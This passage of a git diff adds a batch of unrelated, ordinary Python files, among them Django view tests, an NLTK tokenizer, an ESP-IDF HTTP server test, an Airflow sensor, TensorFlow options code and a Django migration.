'/login/?next={}'.format(url)) + + def test_summary_responsible_edit_search_test_user_is_not_entity_manager(self): + url = reverse("summary_responsible_edit") + entity_managers = EntityManager.objects.filter(person__user=self.user) + entity_managers.delete() + + response = self.client.get(url, follow=True) + self.assertRedirects(response, '/login/?next={}'.format(url)) + + def test_summary_responsible_edit(self): + url = reverse('summary_responsible_edit') + self.client.force_login(self.user) + data = { + 'course_code': 'LBIR1210', + 'learning_unit_title': '', + 'tutor': '', + 'summary_responsible': '', + 'learning_unit_year': 'learning_unit_year_{}'.format(self.learning_unit_year.id) + } + response = self.client.get(url, data=data) + self.assertEqual(response.status_code, HTTP_RESPONSE_OK) + attributions = response.context[-1].get('attributions') + self.assertCountEqual(list(attributions), [self.attribution]) + self.assertTrue(attributions.get().summary_responsible) + self.assertTemplateUsed(response, "summary_responsible_edit.html") + + def test_summary_responsible_update_search_user_not_logged(self): + url = reverse('summary_responsible_update', args=[self.learning_unit_year.id]) + self.client.logout() + response = self.client.post(url) + self.assertRedirects(response, '/login/?next={}'.format(url)) + + def test_summary_responsible_update_search_test_user_is_not_entity_manager(self): + url = reverse('summary_responsible_update', args=[self.learning_unit_year.id]) + entity_managers = EntityManager.objects.filter(person__user=self.user) + entity_managers.delete() + + response = self.client.post(url, follow=True) + self.assertRedirects(response, '/login/?next={}'.format(url)) + + def test_summary_responsible_update_http_get(self): + url = reverse('summary_responsible_update', args=[self.learning_unit_year.id]) + response = self.client.get(url) + self.assertRedirects(response, '/login/?next={}'.format(url)) + + def test_summary_responsible_update_http_post_without_update(self): + self.client.force_login(self.user) + url = reverse('summary_responsible_update', args=[self.learning_unit_year.id]) + response = self.client.post(url) + redirect_url = reverse('summary_responsible') + + self.assertRedirects( + response, + '{}?course_code=&learning_unit_title=&tutor=&summary_responsible='.format(redirect_url) + ) + + + def test_summary_responsible_update(self): + self.client.force_login(self.user) + + attribution.Attribution.objects.update(summary_responsible=False) + self.attribution.refresh_from_db() + self.assertFalse(self.attribution.summary_responsible) + + url = reverse('summary_responsible_update', args=[self.learning_unit_year.id]) + attribution_str = 'attribution_{}'.format(self.attribution.id) + response = self.client.post(url, {"action": "update", + "attribution": attribution_str}) + + self.assertEqual(response.status_code, HttpResponseRedirect.status_code) + self.attribution.refresh_from_db() + self.assertTrue(self.attribution.summary_responsible) diff --git a/pool/shard000/Python/0008976_processor_sample.py b/pool/shard000/Python/0008976_processor_sample.py new file mode 100644 index 0000000000000000000000000000000000000000..58712b088fbb5e8fdb8ca563a8997c03a403a10d --- /dev/null +++ b/pool/shard000/Python/0008976_processor_sample.py @@ -0,0 +1,50 @@ +import sys +import os +import os.path +import time +import logging.handlers +sys.path.append(os.path.abspath('..')) + + +from processor import * +import filename +import image_optimizer +import link_updater +import unique_filename +import yui_compressor + + +if __name__ == "__main__": + # Set up a logger. + logger = logging.getLogger("test") + logger.setLevel(logging.DEBUG) + handler = logging.handlers.RotatingFileHandler("processor.log") + logger.addHandler(handler) + + def callback(input_file, output_file): + print """"CALLBACK FIRED: + input_file='%s' + output_file='%s'""" % (input_file, output_file) + + def error_callback(input_file): + print """"ERROR_CALLBACK FIRED: + input_file='%s'""" % (input_file) + + # Use a ProcessorChainFactory. + document_root = "/htdocs/example.com/subsite" + base_path = "/subsite/" + processors = [ + "image_optimizer.KeepFilename", + "unique_filename.Mtime", + "link_updater.CSSURLUpdater", + "yui_compressor.YUICompressor" + ] + factory = ProcessorChainFactory("test") + chain = factory.make_chain_for("test.jpg", processors, document_root, base_path, callback, error_callback) + chain.run() + chain = factory.make_chain_for("test.png", processors, document_root, base_path, callback, error_callback) + chain.run() + chain = factory.make_chain_for("test.css", processors, document_root, base_path, callback, error_callback) + chain.run() + chain = factory.make_chain_for("test.js", processors, document_root, base_path, callback, error_callback) + chain.run() diff --git a/pool/shard000/Python/0008977_text.py b/pool/shard000/Python/0008977_text.py new file mode 100644 index 0000000000000000000000000000000000000000..d5570f2f755a6cce0a5e99672823a21132dcedf9 --- /dev/null +++ b/pool/shard000/Python/0008977_text.py @@ -0,0 +1,114 @@ +# -*- coding: utf-8 -*- + +import string +import nltk +from nltk.tokenize import RegexpTokenizer +import re + +NUMBER_INDICATOR = "num_indic" +CURRENCY_INDICATOR = "curr_indic" +CHEMICAL_INDICATOR = "chem_indic" +MIN_SIZE = 1 + +MIN_SENT_LENGTH = 50 +MAX_NON_TABLE_ROW_LENGTH = 100 + +extra_abbrv = [u'u.s', u'fig', u'figs', u'no', u'ser', + u'jan', u'feb', u'mar', u'apr', u'may', u'jun', u'jul', u'aug', u'sep', u'oct', u'nov', u'dec', + u'proc', u'natl', u'sci', u'al', u'biochem', u'mol', u'res', u'biophys', u'commun', u'acad', + u'chem', u'med', u'biol', u'enzymol', u'Am', u'Soc', u'pat', u'nos', u'id', u'seq', + u'gen', u'ed', u'publ', u'cell', u'ii', u'iii', u'iv', u'viral', u'dis', u'infect', + u'rev', u'supp', u'dev', u'pp', u'genet', u'pp', u'nucl', u'pub', u'etc', u'virol', + u'u.s. pat', u'u.s. ser', u'u.s. patent', u'ann', u'microbiol', u'environ', u'U.S', + u'curr', u'vol', u'enz', u'struct', u'exp', u'approx', u'int', u'oncol', u'appl', + u'math', u'adv', u'u.s.c', u'et', u'app', u'biosci', u'molec'] +extra_abbrv.extend([str(i) for i in range(1, 40)]) +extra_abbrv.extend(list('abcdefghijklmnopqrstuvwxyz')) + +sentence_tokenizer = nltk.data.load('tokenizers/punkt/english.pickle') +sentence_tokenizer._params.abbrev_types.update(extra_abbrv) + +abbrev_types_set = set(sentence_tokenizer._params.abbrev_types) + +punctuation_to_strip = u'"#%&\'();:*+-/<=>@[\\]^_`{|}~' +punctuation_to_strip += u'\u2018\u2019\u201c\u201d' # additional punctuation not in string.punctuation +# \u2018 => ‘ \u2019 => ’ \u201c => “ \u201d => ” +def sentence_wordtokenizer(text): + """ + Improved function for tokenization, stripping only specific punctuation and preserving the punctuation + . , : ; ? ! as separate tokens + """ + tokenizer = RegexpTokenizer(r'\s+', gaps=True) + tokens = tokenizer.tokenize(text) + stems = [] # result + for token in tokens: + stem = token.lower() + stem = stem.strip(punctuation_to_strip) + if stem: + if is_number(stem): + token_stems = [NUMBER_INDICATOR] + elif is_currency(stem): + token_stems = [CURRENCY_INDICATOR] + elif is_chemical_new(stem): + token_stems = [CHEMICAL_INDICATOR] + else: + token_stems = list(re.findall(r"^([.,!?;:]*)(.+?)([.,!?;:]?)$", stem)[0]) + token_stems = [t.strip(punctuation_to_strip) for t in token_stems] + if len(token_stems): + if token_stems[1] in abbrev_types_set: + token_stems[1] = token_stems[1] + token_stems[2] + token_stems[2] = "" + + for stem in token_stems: + if stem and len(stem) >= MIN_SIZE: + # extract uni-grams + stems.append(stem) + del tokens + return stems + + +def is_number(str): + """ Returns true if given string is a number (float or int)""" + try: + float(str.replace(",", "")) + return True + except ValueError: + return False + +def is_currency(str): + return str[0] == "$" + +def is_chemical(str): + return str.count("-") > 3 + +def is_chemical_new(strg): + return (strg.count("-") > 2 and len(strg) >= 25) or len(strg) >= 40 + +def is_table_row(sent): + return len(sent) < MAX_NON_TABLE_ROW_LENGTH and sent.count('.') > 2 + +def min_sentence_length_enforcer(sentences): + # initialize with '' so we dont have to add a condition to be evaluated in the loop + new_sentences = [''] + for sent in sentences: + sent = sent.strip() + if len(sent) > 0: + if len(sent) < MIN_SENT_LENGTH or is_table_row(sent): + new_sentences[-1] += ' ' + sent + else: + new_sentences.append(sent) + + # handling of special cases where the first sentence is either kept as '' or is something like '1. ' + if len(new_sentences[0]) == 0: + # takes care of the case where there are no sentences other than ''=> new_sentences = [] and + # when there are => new_sentences = new_sentences[1:] + new_sentences = new_sentences[1:] + elif len(new_sentences[0]) < MIN_SENT_LENGTH and len(new_sentences) > 1: + new_sentences[1] = new_sentences[0] + ' ' + new_sentences[1] + new_sentences = new_sentences[1:] + return new_sentences + +def get_sentences(text): + sents = sentence_tokenizer.tokenize(text) + sents = min_sentence_length_enforcer(sents) + return sents diff --git a/pool/shard000/Python/0008978_satchmo_thumbnail.py b/pool/shard000/Python/0008978_satchmo_thumbnail.py new file mode 100644 index 0000000000000000000000000000000000000000..7e4c9f533d7aaeba1aeff17ab6cbb6fd3c685ba4 --- /dev/null +++ b/pool/shard000/Python/0008978_satchmo_thumbnail.py @@ -0,0 +1,104 @@ +""" image related filters """ + +################################################## +## DEPENDENCIES ## + +from django import template +from django.conf import settings +from django.template import TemplateSyntaxError +from satchmo.thumbnail.utils import make_thumbnail, get_image_size +register = template.Library() +################################################## +## FILTERS ## + +def thumbnail(url, args=''): + """ Returns thumbnail URL and create it if not already exists. + +.. note:: requires PIL_, + if PIL_ is not found or thumbnail can not be created returns original URL. + +.. _PIL: http://www.pythonware.com/products/pil/ + +Usage:: + + {{ url|thumbnail:"width=10,height=20" }} + {{ url|thumbnail:"width=10" }} + {{ url|thumbnail:"height=20" }} + +Parameters: + +width + requested image width + +height + requested image height + +Image is **proportionally** resized to dimension which is no greather than ``width x height``. + +Thumbnail file is saved in the same location as the original image +and his name is constructed like this:: + + %(dirname)s/%(basename)s_t[_w%(width)d][_h%(height)d].%(extension)s + +or if only a width is requested (to be compatibile with admin interface):: + + %(dirname)s/%(basename)s_t%(width)d.%(extension)s + +""" + + kwargs = {} + if args: + if ',' not in args: + # ensure at least one ',' + args += ',' + for arg in args.split(','): + arg = arg.strip() + if arg == '': continue + kw, val = arg.split('=', 1) + kw = kw.lower().encode('ascii') + try: + val = int(val) # convert all ints + except ValueError: + raise template.TemplateSyntaxError, "thumbnail filter: argument %r is invalid integer (%r)" % (kw, val) + kwargs[kw] = val + + if ('width' not in kwargs) and ('height' not in kwargs): + raise template.TemplateSyntaxError, "thumbnail filter requires arguments (width and/or height)" + + ret = make_thumbnail(url, **kwargs) + if ret is None: + ret = url + + if not ret.startswith(settings.MEDIA_URL): + ret = settings.MEDIA_URL + ret + + return ret + +# +register.filter('thumbnail', thumbnail) + +def image_width(url): + """ Returns image width. + +Usage: + {{ url|image_width }} +""" + + width, height = get_image_size(url) + return width +# + +register.filter('image_width', image_width) + +def image_height(url): + """ Returns image height. + +Usage: + {{ url|image_width }} +""" + + width, height = get_image_size(url) + return height +# + +register.filter('image_height', image_height) diff --git a/pool/shard000/Python/0008980_http_server_simple_test.py b/pool/shard000/Python/0008980_http_server_simple_test.py new file mode 100644 index 0000000000000000000000000000000000000000..ea4992c19975f2f816353cc45637411b426d2816 --- /dev/null +++ b/pool/shard000/Python/0008980_http_server_simple_test.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python +# +# Copyright 2018 Espressif Systems (Shanghai) PTE LTD +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from __future__ import division, print_function, unicode_literals + +import os +import random +import re +import socket +import string +import threading +import time +from builtins import range + +import ttfw_idf +from idf_http_server_test import client +from tiny_test_fw import Utility + + +class http_client_thread(threading.Thread): + def __init__(self, ip, port, delay): + threading.Thread.__init__(self) + self.ip = ip + self.port = port + self.delay = delay + self.exc = None + + # Thread function used to open a socket and wait for specific amount of time before returning + def open_connection(self, ip, port, delay): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(delay) + s.connect((ip, port)) + time.sleep(delay) + + def run(self): + try: + self.open_connection(self.ip, self.port, self.delay) + except socket.timeout as e: + self.exc = e + + def join(self, timeout=None): + threading.Thread.join(self) + if self.exc: + raise self.exc + + +# When running on local machine execute the following before running this script +# > make app bootloader +# > make print_flash_cmd | tail -n 1 > build/download.config + + +@ttfw_idf.idf_example_test(env_tag='Example_WIFI_Protocols') +def test_examples_protocol_http_server_simple(env, extra_data): + # Acquire DUT + dut1 = env.get_dut('http_server', 'examples/protocols/http_server/simple', dut_class=ttfw_idf.ESP32DUT) + + # Get binary file + binary_file = os.path.join(dut1.app.binary_path, 'simple.bin') + bin_size = os.path.getsize(binary_file) + ttfw_idf.log_performance('http_server_bin_size', '{}KB'.format(bin_size // 1024)) + + # Upload binary and start testing + Utility.console_log('Starting http_server simple test app') + dut1.start_app() + + # Parse IP address of STA + Utility.console_log('Waiting to connect with AP') + got_ip = dut1.expect(re.compile(r'(?:[\s\S]*)IPv4 address: (\d+.\d+.\d+.\d+)'), timeout=30)[0] + got_port = dut1.expect(re.compile(r"(?:[\s\S]*)Starting server on port: '(\d+)'"), timeout=30)[0] + + Utility.console_log('Got IP : ' + got_ip) + Utility.console_log('Got Port : ' + got_port) + + # Expected Logs + dut1.expect('Registering URI handlers', timeout=30) + + # Run test script + # If failed raise appropriate exception + Utility.console_log('Test /hello GET handler') + if not client.test_get_handler(got_ip, got_port): + raise RuntimeError + + # Acquire host IP. Need a way to check it + dut1.expect(re.compile(r'(?:[\s\S]*)Found header => Host: (\d+.\d+.\d+.\d+)'), timeout=30)[0] + + # Match additional headers sent in the request + dut1.expect('Found header => Test-Header-2: Test-Value-2', timeout=30) + dut1.expect('Found header => Test-Header-1: Test-Value-1', timeout=30) + dut1.expect('Found URL query parameter => query1=value1', timeout=30) + dut1.expect('Found URL query parameter => query3=value3', timeout=30) + dut1.expect('Found URL query parameter => query2=value2', timeout=30) + dut1.expect('Request headers lost', timeout=30) + + Utility.console_log('Test /ctrl PUT handler and realtime handler de/registration') + if not client.test_put_handler(got_ip, got_port): + raise RuntimeError + dut1.expect('Unregistering /hello and /echo URIs', timeout=30) + dut1.expect('Registering /hello and /echo URIs', timeout=30) + + # Generate random data of 10KB + random_data = ''.join(string.printable[random.randint(0,len(string.printable)) - 1] for _ in range(10 * 1024)) + Utility.console_log('Test /echo POST handler with random data') + if not client.test_post_handler(got_ip, got_port, random_data): + raise RuntimeError + + query = 'http://foobar' + Utility.console_log('Test /hello with custom query : ' + query) + if not client.test_custom_uri_query(got_ip, got_port, query): + raise RuntimeError + dut1.expect('Found URL query => ' + query, timeout=30) + + query = 'abcd+1234%20xyz' + Utility.console_log('Test /hello with custom query : ' + query) + if not client.test_custom_uri_query(got_ip, got_port, query): + raise RuntimeError + dut1.expect('Found URL query => ' + query, timeout=30) + + +@ttfw_idf.idf_example_test(env_tag='Example_WIFI_Protocols') +def test_examples_protocol_http_server_lru_purge_enable(env, extra_data): + # Acquire DUT + dut1 = env.get_dut('http_server', 'examples/protocols/http_server/simple', dut_class=ttfw_idf.ESP32DUT) + + # Get binary file + binary_file = os.path.join(dut1.app.binary_path, 'simple.bin') + bin_size = os.path.getsize(binary_file) + ttfw_idf.log_performance('http_server_bin_size', '{}KB'.format(bin_size // 1024)) + + # Upload binary and start testing + Utility.console_log('Starting http_server simple test app') + dut1.start_app() + + # Parse IP address of STA + Utility.console_log('Waiting to connect with AP') + got_ip = dut1.expect(re.compile(r'(?:[\s\S]*)IPv4 address: (\d+.\d+.\d+.\d+)'), timeout=30)[0] + got_port = dut1.expect(re.compile(r"(?:[\s\S]*)Starting server on port: '(\d+)'"), timeout=30)[0] + + Utility.console_log('Got IP : ' + got_ip) + Utility.console_log('Got Port : ' + got_port) + + # Expected Logs + dut1.expect('Registering URI handlers', timeout=30) + threads = [] + # Open 20 sockets, one from each thread + for _ in range(20): + try: + thread = http_client_thread(got_ip, (int(got_port)), 20) + thread.start() + threads.append(thread) + except OSError as err: + Utility.console_log('Error: unable to start thread, ' + err) + + for t in threads: + t.join() + + +if __name__ == '__main__': + test_examples_protocol_http_server_simple() + test_examples_protocol_http_server_lru_purge_enable() diff --git a/pool/shard000/Python/0008983_seq_concurrence_1.py b/pool/shard000/Python/0008983_seq_concurrence_1.py new file mode 100644 index 0000000000000000000000000000000000000000..e44b69066c7d2ff3e8b421fd2e616b92670de596 --- /dev/null +++ b/pool/shard000/Python/0008983_seq_concurrence_1.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python +import smach + + +# define state Foo +class Foo(smach.State): + def __init__(self, name, outcome): + smach.State.__init__(self, outcomes=['outcome_a','outcome_b']) + + self._name = name + self._outcome = outcome + + def execute(self, userdata): + smach.loginfo('Executing state {}'.format(self._name)) + smach.loginfo('Returning {}'.format(self._outcome)) + + return self._outcome + +def main(): + + sm = smach.StateMachine(outcomes=['final_outcome_a', 'final_outcome_b', 'final_outcome_c']) + + with sm: + + sm_con = smach.Concurrence(outcomes=['con_outcome_1', 'con_outcome_2', 'con_default_outcome'], + default_outcome='con_default_outcome', + outcome_map={'con_outcome_1': { 'FOO_0': 'outcome_b', 'FOO_1': 'outcome_b'}, + 'con_outcome_2': { 'FOO_0': 'outcome_a', 'FOO_1': 'outcome_a'}}) + + with sm_con: + + smach.Concurrence.add('FOO_0', Foo('FOO_0', 'outcome_a')) + + smach.Concurrence.add('FOO_1', Foo('FOO_1', 'outcome_a')) + + smach.StateMachine.add('CON', sm_con, + transitions={'con_default_outcome':'CON', + 'con_outcome_1':'final_outcome_b', + 'con_outcome_2':'FOO_2'}) + + smach.StateMachine.add('FOO_2', Foo('FOO_2', 'outcome_a'), + transitions={'outcome_a':'final_outcome_a', + 'outcome_b':'final_outcome_c'}) + + outcome = sm.execute() + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/pool/shard000/Python/0008985_external_task_sensor.py b/pool/shard000/Python/0008985_external_task_sensor.py new file mode 100644 index 0000000000000000000000000000000000000000..c80986fa9f286b5bdcba7b518a6e2150197b808c --- /dev/null +++ b/pool/shard000/Python/0008985_external_task_sensor.py @@ -0,0 +1,101 @@ +# -*- coding: utf-8 -*- +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +from airflow.models import TaskInstance +from airflow.sensors.base_sensor_operator import BaseSensorOperator +from airflow.utils.db import provide_session +from airflow.utils.decorators import apply_defaults +from airflow.utils.state import State + + +class ExternalTaskSensor(BaseSensorOperator): + """ + Waits for a task to complete in a different DAG + + :param external_dag_id: The dag_id that contains the task you want to + wait for + :type external_dag_id: str + :param external_task_id: The task_id that contains the task you want to + wait for + :type external_task_id: str + :param allowed_states: list of allowed states, default is ``['success']`` + :type allowed_states: list + :param execution_delta: time difference with the previous execution to + look at, the default is the same execution_date as the current task. + For yesterday, use [positive!] datetime.timedelta(days=1). Either + execution_delta or execution_date_fn can be passed to + ExternalTaskSensor, but not both. + :type execution_delta: datetime.timedelta + :param execution_date_fn: function that receives the current execution date + and returns the desired execution dates to query. Either execution_delta + or execution_date_fn can be passed to ExternalTaskSensor, but not both. + :type execution_date_fn: callable + """ + template_fields = ['external_dag_id', 'external_task_id'] + ui_color = '#19647e' + + @apply_defaults + def __init__(self, + external_dag_id, + external_task_id, + allowed_states=None, + execution_delta=None, + execution_date_fn=None, + *args, + **kwargs): + super(ExternalTaskSensor, self).__init__(*args, **kwargs) + self.allowed_states = allowed_states or [State.SUCCESS] + if execution_delta is not None and execution_date_fn is not None: + raise ValueError( + 'Only one of `execution_date` or `execution_date_fn` may' + 'be provided to ExternalTaskSensor; not both.') + + self.execution_delta = execution_delta + self.execution_date_fn = execution_date_fn + self.external_dag_id = external_dag_id + self.external_task_id = external_task_id + + @provide_session + def poke(self, context, session=None): + if self.execution_delta: + dttm = context['execution_date'] - self.execution_delta + elif self.execution_date_fn: + dttm = self.execution_date_fn(context['execution_date']) + else: + dttm = context['execution_date'] + + dttm_filter = dttm if isinstance(dttm, list) else [dttm] + serialized_dttm_filter = ','.join( + [datetime.isoformat() for datetime in dttm_filter]) + + self.log.info( + 'Poking for ' + '{self.external_dag_id}.' + '{self.external_task_id} on ' + '{} ... '.format(serialized_dttm_filter, **locals())) + TI = TaskInstance + + count = session.query(TI).filter( + TI.dag_id == self.external_dag_id, + TI.task_id == self.external_task_id, + TI.state.in_(self.allowed_states), + TI.execution_date.in_(dttm_filter), + ).count() + session.commit() + return count == len(dttm_filter) diff --git a/pool/shard000/Python/0008986_file_lab.py b/pool/shard000/Python/0008986_file_lab.py new file mode 100644 index 0000000000000000000000000000000000000000..8e87e2538f51b5edbc170e17d455f1d359901799 --- /dev/null +++ b/pool/shard000/Python/0008986_file_lab.py @@ -0,0 +1,52 @@ +import os +from collections import Counter as counter +from pprint import pprint + + +# write a program which prints the full path to all files in the current directory, one per line + +for thing in os.listdir('.'): + print(os.path.abspath(thing)) + +# write a program which copies a file from a source, to a destination (without using shutil, or the OS copy command) +# advanced: make it work for any size file: i.e. don’t read the entire contents of the file into memory at once. +# Note that if you want it to do any kind of file, you need to open the files in binary mode: open(filename, 'rb') +# (or 'wb' for writing.) + +source = 'gg.jpg' +dest = 'gg2.jpg' + +with open(source, 'rb') as s, open(dest, 'wb') as d: + print('Copying the contents now.') + data_copy = s.readlines() + print('Writing the contents to new file now.') + d.writelines(data_copy) + s.close() + d.close() + print('Closed files') + + +# Write a little script that reads that file, and generates a list of all the languages that have been used. students.txt +# Extra credit: keep track of how many students specified each language. + +student_file = open('students.txt', 'r') +lang_set = set() +lang_list = [] +with student_file: + for student in student_file: + languages = student.split(':')[1].lower() + lang = languages.replace(',', ' ').split() + for langs in lang: + if langs == 'languages': + pass + elif langs: + lang_set.add(langs) + lang_list.append(langs) + student_file.close() + pprint('All the languages people in our class know:') + pprint(' '.join(lang_set)) + pprint('How many people know each language:') + pprint(counter(lang_list)) + + + diff --git a/pool/shard000/Python/0008992_findpoints.py b/pool/shard000/Python/0008992_findpoints.py new file mode 100644 index 0000000000000000000000000000000000000000..89e3bdcddb2846365fd29b71ccf048d90487891b --- /dev/null +++ b/pool/shard000/Python/0008992_findpoints.py @@ -0,0 +1,50 @@ +import warnings +import numpy as np + +from petram.mfem_config import use_parallel +if use_parallel: + from petram.helper.mpi_recipes import * + import mfem.par as mfem +else: + import mfem.ser as mfem + +def make_matrix(x, y, z): + pass + +def do_findpoints(mesh, *args): + sdim = mesh.SpaceDimension() + + shape = args[0].shape + size= len(args[0].flatten()) + ptx = np.vstack([t.flatten() for t in args]).transpose().flatten() + + ptx2 = mfem.Vector(ptx) + point_mat = mfem.DenseMatrix(ptx2.GetData(), size, sdim) + elem_id = mfem.intArray() + ips = mfem.IntegrationPointArray() + + num_found = mesh.FindPoints(point_mat, elem_id, ips, True) + elem_id = np.array(elem_id.ToList()) + return v, elem_id, ips + +def eval_at_points(gf, *args): + args = [np.atleast_1d(np.array(t, copy=False)) for t in args] + mesh = gf.FESpace().Mesh() + v, elem_id, ips = findpoints(mesh, *args) + +def findpoints(mesh, *args): + ''' + *args : x, y or x, y, z + ''' + sdim = mesh.SpaceDimension() + + if len(args) != 3 and sdim == 3: + assert False, "SpaceDimension = 3, pass x, y, z" + elif len(args) != 2 and sdim == 2: + assert False, "SpaceDimension = 3, pass x, y" + elif len(args) != 1 and sdim == 1: + assert False, "SpaceDimension = 3, pass x" + else: + args = [np.atleast_1d(np.array(t, copy=False)) for t in args] + return do_findpoints(mesh, *args) + diff --git a/pool/shard000/Python/0008996_threading_options.py b/pool/shard000/Python/0008996_threading_options.py new file mode 100644 index 0000000000000000000000000000000000000000..35f66ce22c044150b7010b2d7ab9f1b9b4839f3a --- /dev/null +++ b/pool/shard000/Python/0008996_threading_options.py @@ -0,0 +1,69 @@ +# Copyright 2018 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Experimental API for controlling threading in `tf.data` pipelines.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + + +from tensorflow.core.framework import dataset_options_pb2 +from tensorflow.python.data.util import options +from tensorflow.python.util import deprecation +from tensorflow.python.util.tf_export import tf_export + + +@deprecation.deprecated_endpoints("data.experimental.ThreadingOptions") +@tf_export("data.experimental.ThreadingOptions", "data.ThreadingOptions") +class ThreadingOptions(options.OptionsBase): + """Represents options for dataset threading. + + You can set the threading options of a dataset through the + `experimental_threading` property of `tf.data.Options`; the property is + an instance of `tf.data.ThreadingOptions`. + + ```python + options = tf.data.Options() + options.threading.private_threadpool_size = 10 + dataset = dataset.with_options(options) + ``` + """ + + max_intra_op_parallelism = options.create_option( + name="max_intra_op_parallelism", + ty=int, + docstring= + "If set, it overrides the maximum degree of intra-op parallelism.") + + private_threadpool_size = options.create_option( + name="private_threadpool_size", + ty=int, + docstring= + "If set, the dataset will use a private threadpool of the given size. " + "The value 0 can be used to indicate that the threadpool size should be " + "determined at runtime based on the number of available CPU cores.") + + def _to_proto(self): + pb = dataset_options_pb2.ThreadingOptions() + if self.max_intra_op_parallelism is not None: + pb.max_intra_op_parallelism = self.max_intra_op_parallelism + if self.private_threadpool_size is not None: + pb.private_threadpool_size = self.private_threadpool_size + return pb + + def _from_proto(self, pb): + if pb.WhichOneof("optional_max_intra_op_parallelism") is not None: + self.max_intra_op_parallelism = pb.max_intra_op_parallelism + if pb.WhichOneof("optional_private_threadpool_size") is not None: + self.private_threadpool_size = pb.private_threadpool_size diff --git a/pool/shard000/Python/0008998_make_cv.py b/pool/shard000/Python/0008998_make_cv.py new file mode 100644 index 0000000000000000000000000000000000000000..427b04f77cdb365d7e66dd892920fb8e1986e725 --- /dev/null +++ b/pool/shard000/Python/0008998_make_cv.py @@ -0,0 +1,29 @@ +""" +Builds the CV page by embedding HTML created by pandoc into the master page. +The generated HTML is expected as input through stdin +""" + +from global_vars import * +import sys + +# read template files +with open(CVTemplatePath, 'r') as fin: + cv_template = fin.read() +with open(MasterTemplatePath, 'r') as fin: + m_template = fin.read() + +# read from stdin +cv_body = sys.stdin.read() + +# build page +m = templateSubN({ + 'body': templateSubN({'cv_content': cv_body}, cv_template), + 'portfolio_active': '', + 'cv_active': 'active', + 'path_prefix': '', + 'title': 'CV' +}, m_template) + +# write to file +with open(CVOutputPath, 'w') as fout: + fout.write(m) diff --git a/pool/shard000/Python/0009000_test_json.py b/pool/shard000/Python/0009000_test_json.py new file mode 100644 index 0000000000000000000000000000000000000000..08014607dbbf8c8738a9d7bdda8fbdeaef237dee --- /dev/null +++ b/pool/shard000/Python/0009000_test_json.py @@ -0,0 +1,31 @@ +# Copyright 2011 Canonical Ltd. This software is licensed under the +# GNU Affero General Public License version 3 (see the file LICENSE). + +"""Tests for the JSON serializer.""" + +__metaclass__ = type + +from datetime import timedelta + +from lazr.restful.interfaces import IJSONPublishable + +from lp.services.webservice.json import StrJSONSerializer +from lp.testing import TestCase +from lp.testing.layers import FunctionalLayer + + +class TestStrJSONSerializer(TestCase): + layer = FunctionalLayer + + def test_toDataForJSON(self): + serializer = StrJSONSerializer( + timedelta(days=2, hours=2, seconds=5)) + self.assertEquals( + '2 days, 2:00:05', + serializer.toDataForJSON('application/json')) + + def test_timedelta_users_StrJSONSerializer(self): + delta = timedelta(seconds=5) + serializer = IJSONPublishable(delta) + self.assertEquals('0:00:05', + serializer.toDataForJSON('application/json')) diff --git a/pool/shard000/Python/0009001_0005_auto_20150219_2207.py b/pool/shard000/Python/0009001_0005_auto_20150219_2207.py new file mode 100644 index 0000000000000000000000000000000000000000..e6858171605ec44488959b34640613c7bb16697e --- /dev/null +++ b/pool/shard000/Python/0009001_0005_auto_20150219_2207.py @@ -0,0 +1,31 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations + + +class Migration(migrations.Migration): + + dependencies = [ + ('comm', '0004_branch_diocese'), + ] + + operations = [ + migrations.CreateModel( + name='Report', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('branch', models.ForeignKey(to='comm.Branch')), + ('communion_day', models.ForeignKey(to='comm.CommunionDay')), + ], + options={ + 'verbose_name': 'Sprawozdanie filialne', + 'verbose_name_plural': 'Sprawozdania filialne', + }, + bases=(models.Model,), + ), + migrations.AlterModelOptions( + name='diocese', + options={'verbose_name': 'Diecezja', 'verbose_name_plural': 'Diecezje'}, + ), + ] diff --git a/pool/shard000/Python/0009002_models.py b/pool/shard000/Python/0009002_models.py new file mode 100644 index 0000000000000000000000000000000000000000..7806173d443fb25d22ffd587ef0edd2fbda5491b --- /dev/null +++ b/pool/shard000/Python/0009002_models.py @@ -0,0 +1,90 @@ +# +# Newfies-Dialer License +# http://www.newfies-dialer.org +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this file, +# You can obtain one at http://mozilla.org/MPL/2.0/. +# +# Copyright (C) 2011-2013 Star2Billing S.L. +# +# The Initial Developer of the Original Code is +# Arezqui Belaid +# + +from django.db import models +from django.utils.translation import ugettext_lazy as _ + + +class DNC(models.Model): + """This defines the Do Not Call List + + **Attributes**: + + * ``name`` - List name. + + **Relationships**: + + * ``user`` - Foreign key relationship to the User model. + + **Name of DB table**: dnc_list + """ + name = models.CharField(max_length=50, blank=False, + null=True, verbose_name=_("name"), + help_text=_("DNC name")) + user = models.ForeignKey('auth.User', related_name='DNC owner') + + created_date = 